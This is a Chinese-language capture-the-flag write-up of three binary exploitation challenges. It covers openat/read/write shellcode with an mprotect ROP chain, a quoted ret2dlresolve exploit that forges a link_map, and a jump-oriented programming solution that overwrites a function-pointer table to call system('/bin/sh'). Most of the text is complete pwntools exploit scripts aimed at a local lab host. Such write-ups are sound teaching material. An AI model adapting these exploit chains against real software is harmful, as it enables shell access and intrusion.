由于不能open和execve,我们的shellcode需要写openat、read和write
shellcode = shellcraft.openat(-100,'./flag\x00')
shellcode += shellcraft.read(3,bss,0x50)
shellcode += shellcraft.write(1,bss,0x50)
openat的第一个参数其实就是在当前工作目录下的意思
当然我们也可以直接写汇编
shellcode = asm("""
/* openat(AT_FDCWD=-100, "./flag\x00", O_RDONLY=0) */
mov rax, 257
mov rdi, -100
mov rbx, 0x0067616c662f2e2f
push rbx
mov rsi, rsp
xor rdx, rdx
syscall
/* read(3, rsp, 0x50) */
mov rdi, rax
xor rax, rax
mov rdx, 0x50
syscall
/* write(1, rsp, 0x50) */
mov rax, 1
mov rdi, 1
mov rdx, 0x50
syscall
""")
汇编写起来也挺好玩的其实
那思路很明确了,直接写吧
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
io = remote('192.168.31.75',19610)
mprotect=0x443520
pop_rdi=0x401a40
pop_rsi=0x401a42
pop_rdx=0x401a44
buf=0x4ceb60
bss=buf+0x200
shellcode = asm("""
/* openat(AT_FDCWD=-100, "./flag\x00", O_RDONLY=0) */
mov rax, 257
mov rdi, -100
mov rbx, 0x0067616c662f2e2f
push rbx
mov rsi, rsp
xor rdx, rdx
syscall
/* read(3, rsp, 0x50) */
mov rdi, rax
xor rax, rax
mov rdx, 0x50
syscall
/* write(1, rsp, 0x50) */
mov rax, 1
mov rdi, 1
mov rdx, 0x50
syscall
""")
payload1 = shellcode
io.sendafter(b'it.\n',payload1)
rop = [
p64(pop_rdi),
p64(0x4ce000),
p64(pop_rsi),
p64(0x1000),
p64(pop_rdx),
p64(0x7),
p64(mprotect),
p64(buf)
]
payload2 = b'a'*4 + p16(1)
io.sendafter(b'>',payload2)
for i in range(8):
io.sendafter(b'>',rop[i])
io.interactive()

得到flag
No way to leak!

保护:

看看IDA


可以看到函数非常非常简单,只有一个read函数,再也没有其他的东西了
就像题目说的,我们明明可以随便劫持程序控制流程,但是怎么都泄露不出什么东西,只能干着急
面对这种情况的时候其实就需要我们使用ret2dlresolve这个技术了
这个是真的需要好好研究看看的,不过由于篇幅原因这边就发一下官方wp推荐的这两篇教程,我后边专门发一篇讲这个ret2dlresolve,包括x86、x64,以及各种RELRO的处理(不然这一个项目比这一整个文章都长
ret2dlresolve超详细教程(x86&x64)-CSDN博客
延迟绑定与 ret2dlresolve 详解 - xshhc - 博客园
贴一下官方的wp,我们后边单独开一个细看
from pwn import *
context(os='linux',arch='amd64',log_level='debug', terminal=['wt.exe','wsl'])
# r = gdb.debug("./pwn",'break vuln')
# r = process('./pwn')
r = remote('192.168.31.75',2398)
elf = ELF('./pwn')
libc = ELF('./libc-2.31.so')
read_plt = elf.plt['read']
setbuf_got = elf.got['setbuf']
vuln_addr = elf.sym['vuln']
#bss
bss = 0x404080
bss_stage = bss + 0x100
l_addr = libc.sym['system'] -libc.sym['setbuf'] # l_addr = -769472, 通常为负数
pop_rdi = 0x000000000040115e
#pop rsi ; pop r15 ; ret
pop_rsi = 0x0000000000401160
#用于解析符号dl_runtime_resolve
plt_load = 0x401026
def fake_Linkmap_payload(fake_linkmap_addr,known_func_ptr,offset):
# &(2**64-1)是因为offset为负数,如果不控制范围,p64后会越界,发生错误
linkmap = p64(offset & (2 ** 64 - 1))#l_addr
# fake_linkmap_addr + 8,也就是DT_JMPREL,至于为什么有个0,可以参考IDA上.dyamisc的结构内容
linkmap += p64(0) # 可以为任意值
linkmap += p64(fake_linkmap_addr + 0x18) # 这里的值就是伪造的.rel.plt的地址
# fake_linkmap_addr + 0x18,fake_rel_write,因为write函数push的索引是0,也就是第一项
linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1)) # Rela->r_offset,正常情况下这里应该存的是got表对应条目的地址,解析完成后在这个地址上存放函数的实际地址,此处我们只需要设置一个可读写的地址即可
linkmap += p64(0x7) # Rela->r_info,用于索引symtab上的对应项,7>>32=0,也就是指向symtab的第一项
linkmap += p64(0)# Rela->r_addend,任意值都行
linkmap += p64(0)#l_ns
# fake_linkmap_addr + 0x38, DT_SYMTAB
linkmap += p64(0) # 参考IDA上.dyamisc的结构
linkmap += p64(known_func_ptr - 0x8) # 这里的值就是伪造的symtab的地址,为已解析函数的got表地址-0x8
linkmap += b'/bin/sh\x00'
linkmap = linkmap.ljust(0x68,b'A')
linkmap += p64(fake_linkmap_addr) # fake_linkmap_addr + 0x68, 对应的值的是DT_STRTAB的地址,由于我们用不到strtab,所以随意设置了一个可读区域
linkmap += p64(fake_linkmap_addr + 0x38) # fake_linkmap_addr + 0x70 , 对应的值是DT_SYMTAB的地址
linkmap = linkmap.ljust(0xf8,b'A')
linkmap += p64(fake_linkmap_addr + 0x8) # fake_linkmap_addr + 0xf8, 对应的值是DT_JMPREL的地址
return linkmap
fake_link_map = fake_Linkmap_payload(bss_stage, setbuf_got ,l_addr)# 伪造link_map
payload = flat( 'a' * 120 ,pop_rdi, 0 , pop_rsi , bss_stage ,read_plt ,# 把link_map写到bss段上
pop_rsi , 0 , # 使栈十六字节对齐,不然调用不了system
pop_rdi , bss_stage + 0x48 , plt_load , bss_stage , 0 # 把/bin/sh传进rdi,并且调用_dl_rutnime_resolve函数,传入伪造好的link_map和索引
)
# r.recvuntil('Welcome to XDCTF2015~!\n')
r.sendline(payload)
pause()
r.send(fake_link_map)
r.interactive()

call_it


题目给的很长,但是说的很直接,就是JOP攻击
说到JOP其实很容易想到ROP
两者不同之处在于一个是JOP------sJump-Oriented Programming,跳转导向编程
一个是ROP------Return-Oriented Programming,返回导向编程
但本质上都是代码复用攻击,且都是在NX开的基础上才会考虑调用
区别在于ROP是依赖ret来串联gadget
而JOP主要是依赖间接的jmp来串联gadget

相对来说JOP的构造难度会比ROP难很多,所以一般能用ROP就不会用JOP的
那为什么要发明JOP呢,自然是因为出现了ROP用不了的情况
尤其就是Shadow Stack影子栈的发明,现代CPU会同时记录普通栈和影子栈,如果正常栈的返回地址被修改,那么绝对和影子栈就不一样了,马上就会报异常,所以JOP就是为了处理这种情况的
但这题其实有点问题,因为就像题目说的,压根就没开影子栈啊,所以不是经典的JOP攻击题
正如官方wp所说,只是为了让新生能够理解有这样子一个JOP
我们来看题
保护:

直接看IDA吧

这边调用了program函数以及execute,大致是让用户输入gestures然后保存这些,打印了数量之后最后执行了这些gestures
我们看看program在干啥


、
稍微有点长,还有菜单,但是这边1-5本质都一样,只是返回的内容不一样而已
可以发现循环的结束条件是n_gestures来决定的,但如果我们写0-5以外的非法数据,比如6,那么n_gestures是不会增加的,而v2会增加

这边的fgets又会通过v2来索引写入talks,所以我们能控制一直往下写

直到我们写到覆盖掉gestures
于是我们就可以操控gestures了

这还给了个gift函数,可以看到这边会把传进来的参数rdi当作一个表,然后rax+8作为新的rdi参数
rax+0x10作为要调用的函数地址
这就是这边我们需要的jop gadgets
一个完整的JOP一般需要如下几个部分
Dispatcher
Dispatch table
gadget address
可控数据
触发点
可以看到这道题都有了,Dispatcher是execute()
Dispatch table是gestures\[\]
gadget address是gesturesi里边的指针
可控数据是talks\[\]
触发点是main函数的execute(&gestures)
所以拿这道题来做JOP攻击例题,总体来说是通过program()的越界索引来污染gestures的函数指针表
最后借助execute(&gestures)来简洁控制流执行
来看如何得到shell吧这题,首先肯定是利用n_gestures来写gestures内容

可以看到talks离gestures是0x4040E0 - 0x404060 = 0x80的空间
所以我们先写8个0-5以外的数字来抬高v2

之后我们写的东西就会放到gestures里边,随后被execute执行
注意这边fgets只能写16-1个,但不用担心,最后的\x00会被fgets补全
利用gift给的gadgets,我们先写一个 (p64(0x401235) + p64(0x4040f8))0:15(这边的0x4040f8是精心算好的放/bin/sh的地址)
再写一个p64(0x401228) + b'/bin/sh'
最后就能得到这样子一个表
Dispatch_table[0] = gift + 4
Dispatch_table[1] = "/bin/sh" 的地址
Dispatch_table[2] = call system_ptr 的地址
Dispatch_table[3] = "/bin/sh\x00"
于是我们结束program()会到main的时候
就会开始执行
先call gestures0,到gift + 4
随后利用gift那边的,使得寄存器变为
rax = rdi
rdi = [rax + 8]
call [rax + 0x10]
↓
rdi = 0x4040f8
call 0x401228
从而最后调用了system("/bin/sh")
作为初入JOP攻击还是稍微便于理解了,所以我们直接写代码吧
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
io = remote('192.168.31.75',3948)
for _ in range(8):
io.sendlineafter(b'gesture: ', b'6')
io.sendlineafter(b'gesture: ', b'1')
io.sendafter(b'gesture? ', (p64(0x401235) + p64(0x4040f8))[0:15])
io.sendlineafter(b'gesture: ', b'1')
io.sendafter(b'gesture? ', p64(0x401228) + b'/bin/sh')
io.sendlineafter(b'gesture: ', b'0')
io.interactive()

得到flag